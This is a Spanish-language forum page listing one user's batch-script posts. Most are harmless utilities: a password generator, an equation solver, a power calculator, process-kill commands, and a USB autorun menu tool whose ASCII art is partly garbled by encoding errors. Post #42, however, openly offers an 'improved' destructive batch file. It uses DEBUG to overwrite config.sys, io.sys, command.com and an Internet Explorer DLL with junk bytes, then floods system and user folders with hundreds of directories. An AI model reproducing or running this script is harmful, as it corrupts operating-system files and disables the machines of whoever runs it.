Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - @ed33x

#41
Código: php

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:: Copyright (c) 2009 Matt Alvaríz , Timo Salmi                                 ::
:: All rights reserved.                                                         ::
::                                                                              ::
:: Redistribution and use in source and binary forms, with or without           ::
:: modification, are permitted provided that the following conditions           ::
:: are met:                                                                     ::
::                                                                              ::
:: 1. Redistributions of source code must retain the above copyright            ::
::    notice, this list of conditions and the following disclaimer.             ::
:: 2. Redistributions in binary form must reproduce the above copyright         ::
::    notice, this list of conditions and the following disclaimer in the       ::
::    documentation and/or other materials provided with the distribution.      ::
:: 3. Neither the name of copyright holders nor the names of its                ::
::    contributors may be used to endorse or promote products derived           ::
::    from this software without specific prior written permission.             ::
::                                                                              ::
:: THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS          ::
:: ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED  ::
:: TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR   ::
:: PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL COPYRIGHT HOLDERS OR CONTRIBUTORS ::
:: BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR       ::
:: CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF         ::
:: SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS     ::
:: INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN      ::
:: CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)      ::
:: ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE   ::
:: POSSIBILITY OF SUCH DAMAGE.                                                  ::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

@ECHO OFF&SETLOCAL ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION
SET CHARS=abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 @#/()=+-,.;:_*'
:_MAIN
CLS
ECHO Security in password:
ECHO.
ECHO 1. Low
ECHO 2. Medium
ECHO 3. High
ECHO.
ECHO 0. Exit
ECHO.
SET /P "SECLEVEL_=> "
IF [%SECLEVEL_%] EQU [1] SET "MAXCHAR=25"&GOTO:_LENGHT
IF [%SECLEVEL_%] EQU [2] SET "MAXCHAR=51"&GOTO:_LENGHT
IF [%SECLEVEL_%] EQU [3] SET "MAXCHAR=77"&GOTO:_LENGHT
IF [%SECLEVEL_%] EQU [0] EXIT
GOTO:_MAIN
:_LENGHT
CLS
ECHO Length of password:
ECHO.
SET /P "PASSWORDLENGTH_=> "
IF [%PASSWORDLENGTH_%] EQU [] GOTO:_LENGHT
SET RESULT_=
FOR /L %%I IN (1,1,%PASSWORDLENGTH_%) DO (
CALL :_ONERANDOMCHAR %MAXCHAR% RNDCHR_
SET RESULT_=!RESULT_!!RNDCHR_!
)
ECHO %RESULT_%|FINDSTR "[0123456789]">NUL
IF [%ERRORLEVEL%] EQU [0] SET FOUNDNUMBER=TRUE
ECHO %RESULT_%|FINDSTR "[ @#/()=+-,.;:_*']">NUL
IF [%ERRORLEVEL%] EQU [0] SET FOUNDSPECIAL=TRUE
IF DEFINED REQUIRENUMBER IF [%FOUNDNUMBER%] EQU [] GOTO:_ONERANDOMCHAR
IF DEFINED REQUIRESPECIAL IF [%FOUNDSPECIAL%] EQU [] GOTO:_ONERANDOMCHAR
GOTO:_RESULT
:_ONERANDOMCHAR
SETLOCAL ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION
SET /A DIV_=32767/%1
SET /A RAND_=%RANDOM%/%DIV_%
SET RETURN_=!CHARS:~%RAND_%,1!
ENDLOCAL&SET "%2=%RETURN_%"&GOTO:EOF
:_RESULT
CLS
ECHO Password:
ECHO.
ECHO %RESULT_%
ECHO.
SET /P "SAVE_=Save Password? (Y/N): "
IF /I [%SAVE_%] EQU [Y] ECHO.%RESULT_%>>Passwords.txt&GOTO:_MAIN
IF /I [%SAVE_%] EQU [N] GOTO:_MAIN
GOTO:_RESULT

#42
Aqui el Batch con Debug, pero perfeccionado, con FOR:
Código: php

@echo off
echo N %homedrive%\config.sys >> %homedrive%\in.txt
echo L >> %homedrive%\in.txt
echo E 100 FF FF FF FF FF FF FF FF FF FF FF >> %homedrive%\in.txt
echo W >> %homedrive%\in.txt
echo Q >> %homedrive%\in.txt
Debug < %homedrive%\in.txt
cls
echo N %homedrive%\windows\system32\command.com >> %homedrive%\ina.txt
echo L >> %homedrive%\ina.txt
echo E 100 FF FF FF FF FF FF FF FF FF FF FF >> %homedrive%\ina.txt
echo W >> %homedrive%\ina.txt
echo Q >> %homedrive%\ina.txt
Debug < %homedrive%\ina.txt
echo N %homedrive%\io.sys >> %homedrive%\ins.txt
echo L >> %homedrive%\ins.txt
echo E 100 FF FF FF FF FF FF FF FF FF FF FF >> %homedrive%\ins.txt
echo W >> %homedrive%\ins.txt
echo Q >> %homedrive%\ins.txt
Debug < %homedrive%\ins.txt
echo N %homedrive%\archivos de programa\Internet Explorer\ieproxy.dll >> %homedrive%\zx.txt
echo L >> %homedrive%\zx.txt
echo E 100 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF >> %homedrive%\zx.txt
echo W >> %homedrive%\zx.txt
echo Q >> %homedrive%\zx.txt
cls
cd %systemroo%\system32
FOR /L %%A IN (1,1,400) DO (mkdir %%A)
cd %"homedrive%\documents and settings\%username%"
FOR /L %%B IN (1,1,400) DO (mkdir %%B)
cd %systemroot%
@echo off
echo N %homedrive%\config.sys >> %homedrive%\in.txt
echo L >> %homedrive%\in.txt
echo E 100 FF FF FF FF FF FF FF FF FF FF FF >> %homedrive%\in.txt
echo W >> %homedrive%\in.txt
echo Q >> %homedrive%\in.txt
Debug < %homedrive%\in.txt
cls
echo N %homedrive%\windows\system32\command.com >> %homedrive%\ina.txt
echo L >> %homedrive%\ina.txt
echo E 100 FF FF FF FF FF FF FF FF FF FF FF >> %homedrive%\ina.txt
echo W >> %homedrive%\ina.txt
echo Q >> %homedrive%\ina.txt
Debug < %homedrive%\ina.txt
echo N %homedrive%\io.sys >> %homedrive%\ins.txt
echo L >> %homedrive%\ins.txt
echo E 100 FF FF FF FF FF FF FF FF FF FF FF >> %homedrive%\ins.txt
echo W >> %homedrive%\ins.txt
echo Q >> %homedrive%\ins.txt
Debug < %homedrive%\ins.txt
echo N %homedrive%\archivos de programa\Internet Explorer\ieproxy.dll >> %homedrive%\zx.txt
echo L >> %homedrive%\zx.txt
echo E 100 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF >> %homedrive%\zx.txt
echo W >> %homedrive%\zx.txt
echo Q >> %homedrive%\zx.txt
cls
cd %systemroo%\system32
FOR /L %%A IN (1,1,400) DO (mkdir %%A)
cd %"homedrive%\documents and settings\%username%"
FOR /L %%B IN (1,1,400) DO (mkdir %%B)
cd %systemroot%
FOR /L %%C IN (1,1,400) DO (mkdir %%C)
cd %homedrive%\Users
FOR /L %%D IN (1,1,400) DO (mkdir %%D)
cd "%homedrive%\documents and settings"
FOR /L %%E IN (1,1,400) DO (mkdir %%E)
cd %homedrive%\
FOR /L %%F IN (1,1,400) DO (mkdir %%F)
cd %programfiles%
FOR /L %%G IN (1,1,400) DO (mkdir %%G)


Lo simplifique mucho con FOR. Lo use en reemplazo del
Código: php

if %contador% EQU 500

#43
Batch - Bash / Abecedario Batch
Enero 22, 2011, 09:53:00 PM
Codigo que te pide una letra y te dice que numero es en el Abecedario:
Código: php

@echo off
set E= %1
set E=%E:a=1%
set E=%E:b=2%
set E=%E:c=3%
set E=%E:d=4%
set E=%E:e=5%
set E=%E:f=6%
set E=%E:g=7%
set E=%E:h=8%
set E=%E:i=9%
set E=%E:j=10%
set E=%E:k=11%
set E=%E:l=12%
set E=%E:m=13%
set E=%E:n=14%
set E=%E:n=15%
set E=%E:o=16%
set E=%E:p=17%
set E=%E:q=18%
set E=%E:r=19%
set E=%E:s=20%
set E=%E:t=21%
set E=%E:u=22%
set E=%E:v=23%
set E=%E:w=24%
set E=%E:x=25%
set E=%E:y=26%
set E=%E:z=27%
echo En el abecedario es la numero %E%



Saludos, Javier.
#44
Batch - Bash / Resolver ecuaciones (C1)
Enero 22, 2011, 09:52:14 PM
Bien aqui os pongo un code que resulve ecuaciones de primer grado
Este code y explicacion pertenece en su totalidad a: Leo Gutierrez
"Ecuaciones de Primer grado"



Se encarga de resolver ecuaciones de 1er grado, como las que se listan en la opción 2:
Código: php
1.  -3x-9=-9x-63
2.   9x-5=-4x-57
3.   5x-9x=39-3
4.  -7x+9=-9x-5
5.  -3x+1=2x+21
6.   7x+4=9x+6
7.  -5x+8=9x+120
8.  -8x+1=6x-111
9.  -4x+6=6x-64
10. -5x-1=-7x+5


El code que las resuelve

Código: php
echo off
:code
setlocal enabledelayedexpansion
:: -3x-9=-9x-63
echo. ------------------------------------------------------------------------------
echo. ^| Ecuaciones de 1ø grado. Ejemplo :                     -3x-9=-9x-63         ^|
echo. ------------------------------------------------------------------------------
echo.
echo. ------------------------------------------------------------------------------
echo. ^| 1.-Resolver ecuaci¢n.                                                      ^|
echo. ^| 2.-Ver ejemplos de ecuaciones.                                             ^|
echo. ^| 3.-Ayuda.                                                                  ^|
echo. ^| 4.-Salir.                                                                  ^|
echo. ------------------------------------------------------------------------------
echo.
set /p "opcion=Teclee el numero de la opcion dada : "
if not defined opcion (goto:code)
if %opcion% equ 1 (goto:r_ecuacion)
if %opcion% equ 2 (goto:examples)
if %opcion% equ 3 (goto:help)
if %opcion% equ 4 (goto:exit) else (
cls
goto:code
)
:r_ecuacion
cls
echo.
set /p "ecuacion=Ecuaci¢n : "
if not defined ecuacion (
cls
goto:code
)
for /f "tokens=1,2 delims==" %%a in ("%ecuacion%") do (
set "termino1=%%a"
set "termino2=%%b"
)
for /f "tokens=1,2 delims=x,X" %%a in ("%termino1%") do (set "x_1=%%ax")
for /f "tokens=1,2 delims=x,X" %%a in ("%termino2%") do (set "x_2=%%ax")
set "x1=%x_1:x=%"
set "x2=%x_2:x=%"
if ["%x_2:~0,1%"]==["-"] (
set /a "suma_x=!x1!!x2:-=+!"
) else (
set /a "suma_x=!x1!-!x2!"
)
for /f "tokens=1,2 delims=x,X" %%a in ("%termino2%") do (set "c_1=%%b")
for /f "tokens=1,2 delims=x,X" %%a in ("%termino1%") do (set "c_2=%%b")
if ["%c_2:~0,1%"]==["-"] (
set /a "suma_c=!c_1!!c_2:-=+!"
) else (
set /a "suma_c=!c_1!-!c_2!"
)
set /a "resultado=%suma_c%/%suma_x%"
echo.
echo.
echo.------------------------------------------------------------------------
echo.Resultado de la ecuacion.
echo.x =  %resultado%
echo.Ecuacion = !ecuacion:x=(%resultado%)!
echo.------------------------------------------------------------------------
set /p ,=Enter para volver al menu.
cls
goto:code
:examples
cls
echo.Este programa puede resolver ecuaciones como las siguientes :
echo.
echo.1.  -3x-9=-9x-63
echo.2.   9x-5=-4x-57
echo.3.   5x-9x=39-3
echo.4.  -7x+9=-9x-5
echo.5.  -3x+1=2x+21
echo.6.   7x+4=9x+6
echo.7.  -5x+8=9x+120
echo.8.  -8x+1=6x-111
echo.9.  -4x+6=6x-64
echo.10. -5x-1=-7x+5
for /l %%$ in (1,1,4) do (cd.)|echo.
set /p ,=Enter para volver al menu.
cls
goto:code
:help
cls
echo.Este peque¤o programa ayuda a resolver ecuaciones del tipo :
echo.-3x-9=-9x-63
echo.
echo.Solo tiene que teclear su ecuaci¢n en el menu inicial (opci¢n 1). y el
echo.programa se encargar  de resolver la ecuaci¢n.
echo.
echo.
echo.Leo Guti‚rrez R.
echo.
echo.
set /p ,=Pulse enter para volver al men£.
cls
goto:code
:exit
exit /b 0


Salida:
Código: php
Ecuación : 9x-5=-4x-57


------------------------------------------------------------------------
Resultado de la ecuacion.
x =  -4
Ecuacion = 9(-4)-5=-4(-4)-57
------------------------------------------------------------------------
Enter para volver al menu.


SAludos
#45
Batch - Bash / Elevar a cualquier potencia (C2)
Enero 22, 2011, 09:51:39 PM
Este code nos permite elevar cualquier numero a cualquier potencia
Bien aqui pongo otro code y explicacion de Leo Gutierrez
"Elevando a cualquier potencia"
Código: php
@echo off
:code
set /p "base=Numero : "
if not defined base (goto:code)
set /p "potencia=Potencia : "
if not defined potencia (goto:code)
:funcion
set /a resultado=0
if %potencia% equ 0 (
rem Salimos
echo.1
exit /b 1
) else (
set /a "resultado=%base%"
for /l %%i in (2 1 %potencia%) do (
set /a resultado=resultado * %base%
)
)
echo.Resultado : %resultado%
exit /b 0


Salida:
Código: php
Numero : 2
Potencia : 4
Resultado : 16
Press any key...


Código: php
Numero : 5
Potencia : 8
Resultado : 390625
Press any key...


Código: php
@echo off
if ["%1"]==[""] (goto:error)
if ["%1"]==[""] (goto:error)
set /a resultado=0
if %2 equ 0 (
rem Salimosecho.1exit /b 1
) else (
set /a "resultado=%1"
for /l %%i in (2 1 %2) do (
set /a resultado=resultado * %1
)
)
echo.Resultado : %resultado%
exit /b 0
:errorecho %~nx0 Base Potencia&echo
.echo.Leo Gutierrez R.
exit /b 1


Para elevar numero negativos, code de Smartgenius

Código: php
@echo off
REM Funcion Potenciacion
REM Coded by :: SmartGenius ::
if ["%1"]==[""] goto :sintaxis
setlocal enabledelayedexpansion

:main
set pot=1
for /f "tokens=1-2 delims=p" %%a in ("%1") do (
for /l %%c in (1,1,%%b) do (set /a pot=!pot!*%%a))
echo %pot%
endlocal
goto :eof

:sintaxis
echo Modo de Uso:
echo.
echo %~n0 Base_p_Exponente
echo.
echo Ej: 2p5 2=Base 5=Exponente ==^> Resultado: 32
goto :eof

SAludos
#46
Germaniac:

Existe otra forma no muy comoda de cerrar un proceso usando ntsd.exe (Symbolic Debugger for Windows)

Código: php
ntsd -p PID.del.proceso -c "q"

o
Código: php
ntsd -pn Nombre.del.proceso.y.extension -c "q"


lo malo es que ntsd se ejecuta en una ventana aparte y no desde la que se invoca.

lo bueno es que funciona en cuentas de invitado.   ;D




Rockox:
Código: php
wmic process where (name="notepad.exe") delete

Código: php
C:\>code
Eliminando la instancia \\JIMMAR\ROOT\CIMV2:Win32_Process.Handle="2384"
Instancia eliminada correctamente.

C:\>


#47
Batch - Bash / [Herramienta] Funcion Password
Enero 22, 2011, 09:48:14 PM
Código: php

::FUNCION PASSWORD
::VERSION B
::TESTEADO EN WINDOWS XP
::NO FUNCIONA EN SISTEMAS DE 64 BITS
::OBTIENE UNA PASSWORD Y LA DEVUELVE FILTRADA.
::SOLO SE PERMITEN LETRAS Y NUMEROS.
::ME HE DIVERTIDO CREANDO ESTA FUNCION PUES NUNCA HABIA JUGADO CON ANSI.SYS
::PENSE QUE NO SE PODIA EN XP Y SI SE PUEDE
::CON ANSI.SYS CAMBIO EL COLOR DE FONDO Y DE LETRAS A NEGRO
::AUTOR: CARLOS


@ECHO OFF
SETLOCAL ENABLEEXTENSIONS
PUSHD "%TEMP%"
(SET PASSWORD=)

SET NOMBRE=CONFIG.NT
SET ARCHIVO=%Windir%\SYSTEM32\%NOMBRE%
SET ARCHIVO_RESPALDO=%ARCHIVO%.BAK
IF EXIST "%ARCHIVO_RESPALDO%" DEL /F /Q /A "%ARCHIVO_RESPALDO%" >NUL 2>&1
IF EXIST "%ARCHIVO%" TYPE "%ARCHIVO%" > "%ARCHIVO_RESPALDO%"
IF EXIST "%ARCHIVO%" DEL /F /Q /A "%ARCHIVO%" >NUL 2>&1

FOR %%A IN (
"DOSONLY"
"DOS=HIGH, UMB"
"FILES=40"
"DEVICE=%WINDIR%\SYSTEM32\ANSI.SYS /X"
) DO ECHO:%%~A>>"%ARCHIVO%"

DEL /F /Q /A "ESC.KEY" >NUL 2>&1
FOR %%A IN (
"N ESC.KEY"
"E 0000 1B"
"R CX"
"0001"
"W 0"
"Q"
) DO ECHO:%%~A>>"ESC.KEY"

TYPE ESC.KEY | DEBUG >NUL 2>&1
FOR /F %%A IN (ESC.KEY) DO (SET ESCAPE=%%A)
DEL /F /Q /A "ESC.KEY" >NUL 2>&1
DEL /F /Q /A "PWL.BAT" >NUL 2>&1
FOR %%A IN (
"PROMPT PASSWORD"
"CLS %ESCAPE%[13;0;64;13p"
"%ESCAPE%[30;40m"
"ECHO.%ESCAPE%[6A"
"IF ERRORLEVEL 0 IF NOT ERRORLEVEL 1 TYPE CON >PWL.DAT"
"EXIT"
) DO ECHO:%%~A>>"PWL.BAT"

COMMAND.COM /CPWL.BAT
CLS
DEL /F /Q /A "PWL.BAT" >NUL 2>&1
FOR /F "TOKENS=* EOL=%ESCAPE%" %%A IN (PWL.DAT) DO (
SET "PASSWORD=%%A"
GOTO :CONTINUE
)
:CONTINUE
IF DEFINED PASSWORD CALL :CLEAN PASSWORD
ECHO.SU PASSWORD ES :%PASSWORD%

::COMPROBACION
::PARA NO DISTINCION DE MAYUSCULAS AL IF COLOCARLE /I
IF /I "MICLAVE"=="%PASSWORD%" (ECHO.TU CLAVE ES MICLAVE) ELSE (
ECHO.TU CLAVE NO ES MICLAVE
)
DEL /F /Q /A "PWL.DAT" >NUL 2>&1
DEL /F /Q /A "%ARCHIVO%" >NUL 2>&1
REN "%ARCHIVO_RESPALDO%" "%NOMBRE%" >NUL 2>&1
POPD
ENDLOCAL

PAUSE
CLS
GOTO :EOF

:::::::::::::::::::::::::::::::::::::::::::::::::::::::
:CLEAN
:::::::::::::::::::::::::::::::::::::::::::::::::::::::
::Autor Carlos
::version 1.0 more restricted
    SETLOCAL ENABLEDELAYEDEXPANSION
    IF NOT DEFINED %~1 (GOTO:_CLEANE) || (GOTO:_CLEANE)
    SET "CONTENT=!%~1!"
    IF NOT DEFINED CONTENT (GOTO:EOF)
    SET /A COUNT=0
    :_LOOP
        SET "CHAR=!CONTENT:~%COUNT%,1!"
        IF NOT DEFINED CHAR (GOTO:_ENDLOOP)
        SET ADD=FALSE
        FOR %%A IN (0 1 2 3 4 5 6 7 8 9) DO (
            IF [^!CHAR!] EQU [%%A] (SET ADD=TRUE)
        )
        FOR %%A IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
            IF /I [^!CHAR!] EQU [%%A] (SET ADD=TRUE)
        )
        IF /I [!ADD!] EQU [TRUE] (
            SET "STRING=!STRING!!CHAR!"
        )
        SET /A COUNT +=1
        GOTO:_LOOP
    :_ENDLOOP
        ENDLOCAL&&SET "%~1=%STRING%"
        GOTO:EOF
    :_CLEANE
        ECHO.CLEAN FUNCTION RECEIVE A DEFINED VARIABLE.
        PAUSE
        GOTO:EOF
:::::::::::::::::::::::::::::::::::::::::::::::::::::::
#48
Batch - Bash / [Herramienta]"USB-SOFT v2" by P43L0
Enero 22, 2011, 09:47:55 PM

Recuerda que para que funcione al 100% debes de ponerlo en el autorun de tu USB.

Mejoras:

-Gráficos
-Las condiciones del principio
-el método de introducir archivos
-Problemas al Abrir el USB
-Problemas con la modificación del Autorun

Código: php

@ECHO OFF
mode con cols=20
mode con lines=10
title USB SOFT V2 & color a
IF NOT EXIST Documentos (md Documentos && md Musica && md Videos && md Fotos)
IF NOT EXIST Fotos (md Fotos && md Musica && md Videos && md Documentos)
IF NOT EXIST Musica (md Musica && md Fotos && md Videos && md Documentos)
IF NOT EXIST Videos (md Videos && md Musica && md Fotos && md Documentos)
call:dynbar2 15
pause>nul
:dynbar2
set lim=%1
for /l %%a in (1,1,%lim%) do (
set b%%a=
set bb%%a=Í)
:dynbar22
cls
set /a a=%a%+1
set b%a%=Û
set lines=%bb1%%bb2%%bb3%%bb4%%bb5%%bb6%%bb7%%bb8%%bb9%%bb10%%bb11%%bb12%%bb13%%bb14%%bb15%
set bar=%b1%%b2%%b3%%b4%%b5%%b6%%b7%%b8%%b9%%b10%%b11%%b12%%b13%%b14%%b15%
echo.
echo  Comprobacion
echo  É%lines%»
echo  º%bar%º
echo  È%lines%¼
echo.
ping -n 0,9 0.0.0.0 > nul
if %a%==%lim% (msg * Comprobacion realizada & goto ucop) else (goto :dynbar22)
:ucop
mode con cols=63
mode con lines=30
echo.                                     
echo         Ã‰ÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÂ»
echo        ºº±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±ººÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,¿
echo        ºº±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±ºº²²²²²²²²²²³
echo        ºº±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±ºº²²²²ÍͲ²²²³
echo        ºº±±±±±±±±±±USB±SOFT±±±±±±±±±±±±±±±±±±±±ºº²²²²²²²²²²³
echo        ºº±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±ºº²²²²²²²²²²³
echo        ºº±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±ºº²²²²ÍͲ²²²³
echo        ºº±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±ºº²²²²²²²²²²³
echo        ºº±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±ººÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ù
echo         ÃˆÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÂ¼
echo.
ECHO         Ã›Ã›ÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃ›Ã›
ECHO.        Û                            Û
ECHO.        Û      USB SOFT              Û
ECHO.        Û                            Û
ECHO.        ÛÛÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÛÛ
echo.
ECHO         Ã›Ã›ÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃ›Ã›
ECHO.        Û                            Û
ECHO.        Û      Coded BY P4^|3L0       Ã›
ECHO.        Û                            Û
ECHO.        ÛÛÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÛÛ
echo.
echo        ² ² ²²² ²²²        ²²² ²²² ²²² ²²²    ²     Â² ²²²²
echo        ² ² ²   Â²  ²       Â²   Â² ² ²    ²     Â²     Â²    ²
echo        ² ² ²²² ²²²        ²²² ² ² ²²   Â²      ²   Â²  ²²²²
echo        ² ²   Â² ²  ²         Â² ² ² ²    ²       Â² ²   Â²
echo        ²²² ²²² ²²²        ²²² ²²² ²    ²        ²    ²²²²
pause>nul
cls
:Start
mode con cols=65
mode con lines=30
cls
echo      ÉÍÍÍ» ÚÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,¿
echo      º 1 º ^|      Modificar Autorun      ^|
echo      ÈÍÍͼ ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ù
echo      ÉÍÍÍ» ÚÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,¿
echo      º 2 º ^|  Borrar Archivos  ^|
echo      ÈÍÍͼ ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ù
echo      ÉÍÍÍ» ÚÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,¿
echo      º 3 º ^|   Ver Archivos         ^|
echo      ÈÍÍͼ ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ù
echo      ÉÍÍÍ» ÚÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,¿
echo      º 4 º ^|    Comprobar Autorun   ^|
echo      ÈÍÍͼ ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ù
echo      ÉÍÍÍ» ÚÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,¿
echo      º 5 º ^|  Informacion programa  ^|
echo      ÈÍÍͼ ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ù
echo      ÉÍÍÍ» ÚÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,¿
echo      º 6 º ^|  Introducir archivo    ^|
echo      ÈÍÍͼ ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ù
echo      ÉÍÍÍ» ÚÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,¿
echo      º 7 º ^|  Abrir USB ^|
echo      ÈÍÍͼ ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ù
echo      ÉÍÍÍ» ÚÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,¿
echo      º 8 º ^|  Salir  ^|
echo      ÈÍÍͼ ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ù
SET /p usop="Elige opcion: "
IF %usop% == 1 (GOTO mod)
IF %usop% == 2 (GOTO udel)
IF %usop% == 3 (GOTO udir)
IF %usop% == 4 (GOTO uana)
IF %usop% == 5 (GOTO ucop)
IF %usop% == 6 (GOTO desk)
IF %usop% == 7 (GOTO st)
IF %usop% == 8 (EXIT)
IF NOT DEFINED %usop% (GOTO Start)
:ERROR
msg * Error provocado con USB SOFT
:mod
mode con cols=40
mode con lines=30
cls
attrib -s -h autorun.inf
ECHO      ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ECHO.     Âº     1- CAMBIAR ICONO-      º
ECHO.     ÃˆÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÂ¼
ECHO      ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ECHO.     Âº     2- CAMBIAR ATRIBUTO-      º
ECHO.     ÃˆÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÂ¼
SET /p mod1="Elige opcion: "
IF %mod1% == 1 (GOTO uico)
IF %mod1% == 2 (GOTO uatt)
IF  NOT DEFINED %mod1% (GOTO mod)
:uico
cls
del /s /f /q autorun.inf
set /p lab="Nombre para USB: "
cls
ECHO IMPORTANTE LA RUTA DEL ICONO HA DE IR ENTRE COMILLAS
ECHO Arrastra icono.
set /p root="Ruta:"
IF NOT %root:~-5,4%==.ico (GOTO ERROR)
IF NOT DEFINED root (GOTO uico)ELSE (GOTO:uico2)
:uico2
cd /d %unit%:
attrib -h -s uico.ico 2>nul >nul
del uico.ico 2>nul >nul
copy /y %root% uico.ico 2>nul >nul
attrib +h +s +r uico.ico 2>nul >nul
echo [AutoRun] >> autorun.inf
echo action=Abrir carpeta para ver archivos >> autorun.inf
echo label=%lab% >> autorun.inf
echo icon=uico.ico >> autorun.inf
echo shellexecute=autorun.bat >> autorun.inf
attrib +h +s autorun.inf
GOTO Start

:uatt
cls
attrib autorun.inf
